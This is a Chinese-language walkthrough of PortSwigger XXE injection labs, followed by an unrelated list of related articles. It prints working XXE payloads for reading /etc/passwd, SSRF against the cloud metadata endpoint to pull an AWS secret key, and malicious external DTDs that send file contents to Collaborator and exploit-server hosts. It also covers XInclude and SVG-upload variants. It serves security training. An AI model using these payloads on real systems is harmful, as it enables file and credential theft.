burp靶场——XXE注入

news2024/11/17 7:27:08

XML 外部实体 (XXE) 注入

1. 什么是xxe漏洞:

https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,升级 XXE 攻击以危害底层服务器或其他后端基础设施。

实验1:xxe读取文件:

Lab: Exploiting XXE using external entities to retrieve files
进入靶场,点击功能,进入burp代理历史查看流量包:
在这里插入图片描述
数据包发送到repeater:
测试xxe漏洞:

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。

在这里插入图片描述

实验2:利用xxe造成ssrf:

Lab: Exploiting XXE to perform SSRF attacks

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.

在这里插入图片描述

在这里插入图片描述
逐步添加169.254.169.254主机泄露的web目录到xml文档,最终发现泄露了aws云的SecretAccessKey,可以用相关工具
访问云服务:
在这里插入图片描述

实验3:带外交互的XXE盲注:

访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]>

将数字替换productId为对外部实体的引用:

&xxe;
转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

进入靶场,查看到检查库存功能,有提交xml请求的流量:
在这里插入图片描述
修改数据包,重放:
在这里插入图片描述
在这里插入图片描述

实验4:通过 XML 参数实体进行带外交互的XXE盲注:

访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
## Collaborator生成子域名:% xxe表示xml参数实体
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]>
转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。

将数据包发送到重放器:
在这里插入图片描述

修改xml数据:
在这里插入图片描述
在这里插入图片描述

实验5:利用恶意外部 DTD 进行 XXE盲注窃取数据

使用Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
将 Burp Collaborator 负载放入恶意 DTD 文件中:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;

#### 制作恶意的外部dtd文档:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://pf80vmu2gpickzg49m93retb329txold.oastify.com/?x=%file;'>">
%eval;
%exfil;
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
## 将恶意的dtd url路径插入:URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit"> %xxe;]>

返回“Collaborator ”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。

进入靶场,抓取查看库存功能,burp抓包:
在这里插入图片描述
将制作的恶意dtd文档托管到自己可控的web服务器上:
在这里插入图片描述
在这里插入图片描述
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
在这里插入图片描述
在这里插入图片描述

实验6:利用盲目 XXE 通过错误消息检索数据

单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwd导入时,此页面将读取实体 的内容file,然后尝试在文件路径中使用该实体。

单击“查看漏洞”并记下恶意 DTD 的 URL。
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
##
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit"> %xxe;]>
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
您应该看到一条包含文件内容的错误消息/etc/passwd。

在这里插入图片描述
将恶意的dtd文件托管到自己控制的web服务器中:记录恶意dtd的url值:
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
在这里插入图片描述
在这里插入图片描述

实验7:利用 XInclude 检索文件:

一些应用程序接收客户端提交的数据,将其在服务器端嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理时,就会发生这种情况。

在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素DOCTYPE。但是,您也许可以使用XInclude它。XInclude是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

### 操作:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
将参数值设置productId为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述
在这里插入图片描述

实验8:通过图像文件上传利用 XXE

### 原理:
某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而达到XXE漏洞的隐藏攻击面。

### 操作:
创建包含以下内容的本地 SVG 图像:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
在博客文章上发表评论,并上传此图像作为头像。
/etc/hostname当您查看评论时,头像svg被解析,xml中代码执行,读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。

创建1.svg文件:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
查看图片,图片已经显示了主机名:
在这里插入图片描述

实验9:利用 XXE 通过重新利用本地 DTD 来检索数据

访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下参数实体定义stockCheck:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
这将导入 Yelp DTD,然后重新定义ISOamso实体,触发包含文件内容的错误消息/etc/passwd。

在这里插入图片描述
在这里插入图片描述

通过修改内容类型进行 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。

例如,如果一个普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
然后您可以提交以下请求,得到相同的结果:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?>bar

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

参考:


https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw
## paylaodallthings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

### owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/

### owasp xml注入:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1390562.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无监督去噪的一个变迁(1)——N2N→N2V→HQ-SSL

目录 1. 前沿2. N2N3. N2V——盲点网络&#xff08;BSNs&#xff0c;Blind Spot Networks&#xff09;开创者3.1. N2V实际是如何训练的&#xff1f; 4. HQ-SSL——认为N2V效率不够高4.1. HQ-SSL的理论架构4.1.1. 对卷积的改进4.1.2. 对下采样的改进4.1.3. 比N2V好在哪&#xff…

【Linux】权限详解

权限是什么呢&#xff1f; 通过一定条件&#xff0c;拦住一部分人&#xff0c;给另一部分人权利来访问某种资源 权限的本质&#xff1a; 权限与人有关&#xff1a;比如你要进你的学校是要看你是个人吗&#xff0c;重要的是看的是你是不是学校内学生&#xff0c;即你的角色 当然…

力扣精选算法100题——等于目标值的两个数or三数之和(双指针专题)

目录 &#x1f6a9;等于目标值的俩个数 第一步&#xff1a;了解题意 第二步&#xff1a;算法原理 第三步&#xff1a;代码实现 &#x1f6a9;三数之和 第一步&#xff1a;了解题意 第二步&#xff1a;算法原理 思路&#xff1a; ❗不漏&#xff1a; ❗去重: &#xf…

Midjourney Prompt基本结构

在 Midjourney 的官方介绍文档里&#xff0c;介绍了最简单的 Prompt 结构是这样的&#xff1a; 但我觉得上面那个 Prompt 过于简单了 &#x1f602; &#xff0c;反而 Advanced Prompt 更适合学习&#xff1a; Image Prompts&#xff08;选填&#xff09; Prompt 分成三个部分…

Spring Boot框架中Controller层API接口如何支持使用多个@RequestBody注解接受请求体参数

一、前言 众所周知&#xff0c;在Spring Boot框架中&#xff0c;Controller层API接口编码获取请求体参数时&#xff0c;在参数上会使用RequestBody注解&#xff1b;如果一次请求中&#xff0c;请求体参数携带的内容需要用多个参数接收时&#xff0c;能不能多次使用RequestBody…

游戏开发丨基于PyGlet的简易版Minecraft我的世界游戏

文章目录 写在前面我的世界PyGlet简介实验内容游戏按键程序设计引入文件 运行结果写在后面 写在前面 本期内容&#xff1a;基于PyGlet的简易版Minecraft我的世界游戏 实验环境&#xff1a; pycharmpyglet 项目下载地址&#xff1a;https://download.csdn.net/download/m0_6…

【CFP-专栏3】多领域SCI/EI快刊,1个月录用,12天见刊,1个月检索!

一、材料科学类SCI 【期刊概况】IF:3.0-4.0, JCR3区&#xff0c;中科院4区&#xff1b; 【大类学科】材料科学&#xff1b; 【检索情况】SCI在检&#xff1b; 【录用周期】2-3个月左右录用&#xff1b; 【接收领域】低温环境下新型生物降解材料的开发相关研究均可&#xf…

构建未来教育:在线培训系统开发的技术探讨

随着远程学习的崛起和数字化教育的普及&#xff0c;在线培训系统的开发成为了现代教育的核心。本文将深入讨论在线培训系统的关键技术要点&#xff0c;涵盖前后端开发、数据库管理、以及安全性和身份验证等关键方面。 前端开发&#xff1a;提供交互性与用户友好体验 在构建在…

力扣算法之滑动窗口题目--水果成篮

文章目录 题目解析不同之处解决办法解决图示 代码 题目解析 首先我们先看一下题目如下图所示 题目意思也比较容易理解其实就是你有一个篮子这个篮子只能装两个不同种类的水果&#xff0c;问你最多能装多少个水果&#xff0c;这里还贴心的弄了一个样列&#xff0c;121 可以看出…

C盘满了,我用什么思路清理?

20240115 上周六同事传了一个很大的虚拟机给我&#xff0c;C盘就红了 虽然是飞秋选错了存储文件的路径&#xff0c;但后来忘了&#xff0c;就开始毫无目的删除文件&#xff0c;过程中会有没有权限删除的&#xff0c;这样还是没有改善。 咨询了公司IT技术人员&#xff0c; 告…

如何100%防止网站数据被采集?七种方法保证数据安全

当今互联网时代&#xff0c;数据采集是常见的行为&#xff0c;但也常常引起一些法律纠纷或者商业竞争。因此&#xff0c;一些网站或者公司需要采取措施来防止自己的数据被别人采集。以下是一些防止数据采集的措施&#xff1a; 防止代理IP模拟搜索引擎抓爬&#xff1a;使用代理I…

Centos7.9忘记Root密码找回

Centos7.9忘记Root密码找回 1. 背景2. 目的3. 具体操作3.1 重启系统3.2 增加代码3.3 单用户模式3.4 单用户模式3.5 修改密码3.6 创建文件3.7 重启验证 1. 背景 由于物理主机上安装了多个虚拟机&#xff0c;部分虚拟机忘记了root密码&#xff0c;前段时间刚好要用这个虚拟机&…

文件操作一(非常重要)

文件操作一&#xff08;非常重要&#xff09; 一、为什么使用文件&#xff1f;二、什么是文件&#xff1f;三、文件名(简单理解)四、二进制文件和文本文件&#xff08;重要&#xff09;五、流的概念&#xff08;非常重要&#xff09;六、文件的打开和关闭七、文件的顺序读写函数…

【Java 设计模式】创建型之工厂方法模式

文章目录 1. 定义2. 应用场景3. 代码实现4. 应用示例结语 在软件开发中&#xff0c;工厂方法模式是一种常见的创建型设计模式&#xff0c;它提供了一种将对象的实例化延迟到子类的方法。工厂方法模式通过定义一个创建对象的接口&#xff0c;但是让子类决定实例化哪个类。在本文…

【数据结构 | 直接选择排序】

直接选择排序 基本思路直接插入排序SelectSort 基本思路 直接插入排序&#xff08;StraightInsertionSort&#xff09;的基本操作是将一个记录插入到已经排好序的有序表中&#xff0c;从而得到一个新的、记录数增1的有序表。 我们可以同时从数组的头部和尾部同时进行排序工作…

集成xxljob项目如何迁移到K8S

前言 大家好&#xff0c;今天我们将基于XXL-Job&#xff0c;探讨任务调度迁移到云端的相关话题。 XXL-Job是一款功能强大、易用可靠的国产分布式任务调度平台&#xff0c;是目前国内使用比较广泛的分布式任务调度平台之一。它的主要特点包括&#xff1a; 支持分布式、多线程…

29 旋转工具箱

效果演示 实现了一个菜单按钮的动画效果&#xff0c;当鼠标悬停在菜单按钮上时&#xff0c;菜单按钮会旋转315度&#xff0c;菜单按钮旋转的同时&#xff0c;菜单按钮旋转的8个小圆圈也会依次旋转360度&#xff0c;并且每个小圆圈的旋转方向和菜单按钮的旋转方向相反&#xff0…

查看服务器的yum 源

1、cd /etc/yum.repos.d 2、编辑 CentOS-Stream-Sources.repo 3、 查看里面的yum源地址 4、更新yum源&#xff0c;执行下面指令 yum clean all # 清除系统所有的yum缓存 yum makeacache # 生成新的yum缓存 yum repolist

Spring Boot - Application Events 同步 VS 异步 发布订阅事件实战

文章目录 PreCode基础工程启动类切入口事件 发布事件同步 Listener异步Listener增加EnableAsync增加 Async 测试 Pre Spring Boot - Application Events 的发布顺序_ApplicationStartingEvent Spring Boot - Application Events 的发布顺序_ApplicationEnvironmentPreparedEv…

低代码自动化测试的实践

何为低代码测试 传统上&#xff0c;功能、 UI、端到端等测试自动化的实现都涉及编写测试脚本&#xff0c;代替测试人员执行重复的手动测试任务。自动化脚本的开发工作通常由 QA 工程师或开发人员完成&#xff0c;这需要编写大量代码。 而低代码甚至无代码的理念也是在自动化测…